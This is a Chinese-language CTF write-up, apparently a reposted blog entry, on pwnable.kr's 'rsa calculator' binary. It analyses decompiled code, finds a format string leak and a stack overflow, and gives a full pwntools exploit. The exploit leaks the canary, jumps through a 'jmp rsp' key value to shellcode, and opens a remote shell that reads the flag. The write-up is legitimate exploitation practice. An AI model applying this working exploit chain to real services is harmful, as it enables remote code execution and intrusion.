【pwnable.kr】 rsa calculator

https://r00tnb.github.io/2018/03/14/pwnable.kr-rsa_calculator/

前言

读代码题,虽然是逆向代码,哈哈。这道题得细心找,不能急,否则就得像我一样花了很长时间在printf的漏洞利用上了,悲催。

分析

分析反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
signed __int64 set_key()
{
  int v1; // [sp+18h] [bp-18h]@7
  int v2; // [sp+1Ch] [bp-14h]@7
  unsigned int i; // [sp+20h] [bp-10h]@1
  int v4; // [sp+24h] [bp-Ch]@7
  int v5; // [sp+28h] [bp-8h]@7
  __int16 v6; // [sp+2Ch] [bp-4h]@1
  __int16 v7; // [sp+2Eh] [bp-2h]@1

  puts("-SET RSA KEY-");
  printf("p : ");
  __isoc99_scanf("%d", &v6);
  printf("q : ", &v6);
  __isoc99_scanf("%d", &v7);
  printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
  puts("-current private key and public keys-");
  printf("public key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pub[i]);
  printf("\npublic key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pri[i]);
  putchar(10);
  v4 = v6 * v7;
  v5 = (v6 - 1) * (v7 - 1);
  printf("N set to %d, PHI set to %d\n", (unsigned int)v4, (unsigned int)v5);
  printf("set public key exponent e : ");
  __isoc99_scanf("%d", &v1);
  printf("set private key exponent d : ", &v1);
  __isoc99_scanf("%d", &v2);
  if ( v1 < (unsigned int)v5 && v2 < (unsigned int)v5 && v2 * v1 % (unsigned int)v5 != 1 )
  {
    puts("wrong parameters for key generation");
    exit(0);
  }
  if ( (unsigned int)v4 <= 0xFF )
  {
    puts("key length too short");
    exit(0);
  }
  set_pub_key(v1, v4, (__int64)pub);
  set_pri_key(v2, v4, (__int64)pri);
  puts("key set ok");
  printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v1, (unsigned int)v1, (unsigned int)v4, (unsigned int)v4);
  printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v2, (unsigned int)v2, (unsigned int)v4, (unsigned int)v4);
  is_set = 1;
  return 1LL;
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
__int64 RSA_decrypt()
{
  __int64 result; // rax@2
  bool v1; // dl@10
  char *v2; // rdx@12
  char *v3; // rsi@14
  int v4; // eax@15
  __int64 v5; // rdx@18
  int v6; // [sp+Ch] [bp-634h]@3
  int v7; // [sp+10h] [bp-630h]@5
  int i; // [sp+14h] [bp-62Ch]@11
  int v9; // [sp+18h] [bp-628h]@11
  int v10; // [sp+1Ch] [bp-624h]@6
  char v11; // [sp+20h] [bp-620h]@12
  char v12; // [sp+21h] [bp-61Fh]@12
  char v13; // [sp+22h] [bp-61Eh]@12
  char ptr; // [sp+2Fh] [bp-611h]@6
  char v15[1024]; // [sp+30h] [bp-610h]@9
  char src[520]; // [sp+430h] [bp-210h]@11
  __int64 v17; // [sp+638h] [bp-8h]@1

  v17 = *MK_FP(__FS__, 40LL);
  if ( is_set )
  {
    v6 = 0;
    printf("how long is your data?(max=1024) : ");
    __isoc99_scanf("%d", &v6);
    if ( v6 <= 1024 )
    {
      v7 = 0;
      fgetc(stdin);
      puts("paste your hex encoded data");
      while ( 1 )
      {
        v1 = v6-- != 0;
        if ( !v1 )
          break;
        v10 = fread(&ptr, 1uLL, 1uLL, stdin);
        if ( !v10 )
          exit(0);
        if ( ptr == 10 )
          break;
        v15[v7++] = ptr;
      }
      memset(src, 0, 0x200uLL);
      i = 0;
      v9 = 0;
      while ( 2 * v7 > i )
      {
        v11 = v15[i];
        v12 = v15[i + 1];
        v13 = 0;
        v2 = &src[v9++];
        __isoc99_sscanf(&v11, "%02x", v2);
        i += 2;
      }
      v3 = src;
      memcpy(g_ebuf, src, v7);
      for ( i = 0; v7 / 8 > i; ++i )
      {
        v3 = pri;
        v4 = decrypt(g_ebuf[i], (__int64)pri);
        *(&g_pbuf + i) = v4;
      }
      *(&g_pbuf + i) = 0;
      puts("- decrypted result -");
      printf(&g_pbuf, v3);                      // /格式化字符串漏洞
      putchar(10);
      result = 0LL;
    }
    else
    {
      puts("data length exceeds buffer size");
      result = 0LL;
    }
  }
  else
  {
    puts("set RSA key first");
    result = 0LL;
  }
  v5 = *MK_FP(__FS__, 40LL) ^ v17;
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi@1
  bool v5; // dl@4
  int v6; // [sp+Ch] [bp-4h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = 0LL;
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("- Buggy RSA Calculator -\n");
  func[0] = (__int64)set_key;
  qword_602508 = (__int64)RSA_encrypt;
  qword_602510 = (__int64)RSA_decrypt;
  qword_602518 = (__int64)help;
  qword_602520 = (__int64)myexit;
  dword_602528 = 1634629488;
  dword_60252C = 778398818;
  dword_602530 = 1936290411;
  dword_602534 = 1953719650;
  qword_602538 = (__int64)system;
  v6 = 0;
  while ( 1 )
  {
    puts("\n- select menu -");
    puts("- 1. : set key pair");
    puts("- 2. : encrypt");
    puts("- 3. : decrypt");
    puts("- 4. : help");
    puts("- 5. : exit");
    printf("> ", v3);
    v3 = &v6;
    __isoc99_scanf("%d", &v6);
    if ( (unsigned int)(v6 + 1) > 6 )
      break;
    ((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
    v5 = g_try++ > 10;
    if ( v5 )
    {
      puts("this is demo version");
      exit(0);
    }
  }
  puts("invalid menu");
  return 0;
}

代码对于我来说还是有点长的,哈哈。贴了几个关键的函数,大致分析一下程序很容易找到在RSA_decrypt函数中存在printf格式化字符串漏洞,利用该漏洞可以读写内存。但是仔细分析后发现,仅仅利用该漏洞无法更改返回地址或则是got表。那就需要寻找另外的漏洞了。
接下来就是仔细分析程序各个部分的功能找出漏洞,经过简单分析可以发现另外两处漏洞。

  • set_key函数在设置key时没有严格按照RSA算法的要求(具体算法百度),导致可以很容易设置想要的值。
  • RSA_decrypt函数中,在向src变量赋值时存在栈溢出。

主要看看这个栈溢出。输入的密文v15是一个16进制编码的字符串,这里就是将v15转化为字符串存到src中。如果v15的长度为最大1024字节,那么这里的循环次数就是2×v7/2=1024,而每次循环src都要赋一个字节的值,所以循环520次后就开始覆盖栈的其他空间了。继续分析,其实当循环512次后v15的索引就已经越界了,其后就是src变量。那么后续覆盖返回地址和写shellcode就是使用src中的16进制编码的字符串了。当然RSA_decrypt函数是有stack canary的,需要先利用格式化字符串漏洞leak出来。
整理利用思路,这里我先leak处canary,然后利用栈溢出覆盖返回地址为pri变量的地址之后跟shellcode,并利用set_key函数的缺陷设置pri的值为jmp rsp指令。这样当函数返回时会跳转到pri执行jmp rsp从而执行shell。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

def strToHex(s):
    ret = ''
    for i in s:
        ret += '{:02x}'.format(ord(i))
    return ret

def work(DEBUG):
    context(arch='amd64',os='linux',log_level='info')
    if DEBUG:
        r = process('./rsa_calculator')
    else:
        r = remote('pwnable.kr',9012)
        
    pri_addr = 0x602960
        
    #set key
    r.sendline('1')
    r.recvuntil('p : ')
    r.sendline('61\n53\n17\n2753')
    
    #get stack canary
    r.sendline('2\n1024\n%205$016lx')
    r.recvuntil('(hex encoded) -\n')
    cipher = r.recvline()
    r.sendline('3\n1024\n'+cipher)
    r.recvuntil('- decrypted result -\n')
    stack_canary = int(r.recvline(),16)
    
    #get shell
    r.sendline('1\n3\n29312\n1\n58623') #asm('jmp rsp')=0xe4ff=58623
    r.recvuntil('> ')
    tmp = strToHex('a'*8+p64(stack_canary)+'a'*8+p64(pri_addr)+asm(shellcraft.sh())) #set retaddr=pri_addr
    r.sendline('3\n1024\n'+strToHex(tmp+'30'*(1024-len(tmp))))
    
    r.interactive()
    


work(False)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9012: Done
[*] Switching to interactive mode
-SET RSA KEY-
p : q : p, q, set to 3, 29312
-current private key and public keys-
public key : 11 00 00 00 a1 0c 00 00 
public key : c1 0a 00 00 a1 0c 00 00 
N set to 87936, PHI set to 58622
set public key exponent e : set private key exponent d : key set ok
pubkey(e,n) : (1(00000001), 87936(00015780))
prikey(d,n) : (58623(0000e4ff), 87936(00015780))

- select menu -
- 1. : set key pair
- 2. : encrypt
- 3. : decrypt
- 4. : help
- 5. : exit
> how long is your data?(max=1024) : paste your hex encoded data
- decrypted result -

$ ls
flag
log
rsa_calculator
super.pl
$ cat flag
what a stupid buggy rsa calculator! :(
$

总结

读逆向代码要细心,不能急躁,否则可能会花很多时间。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值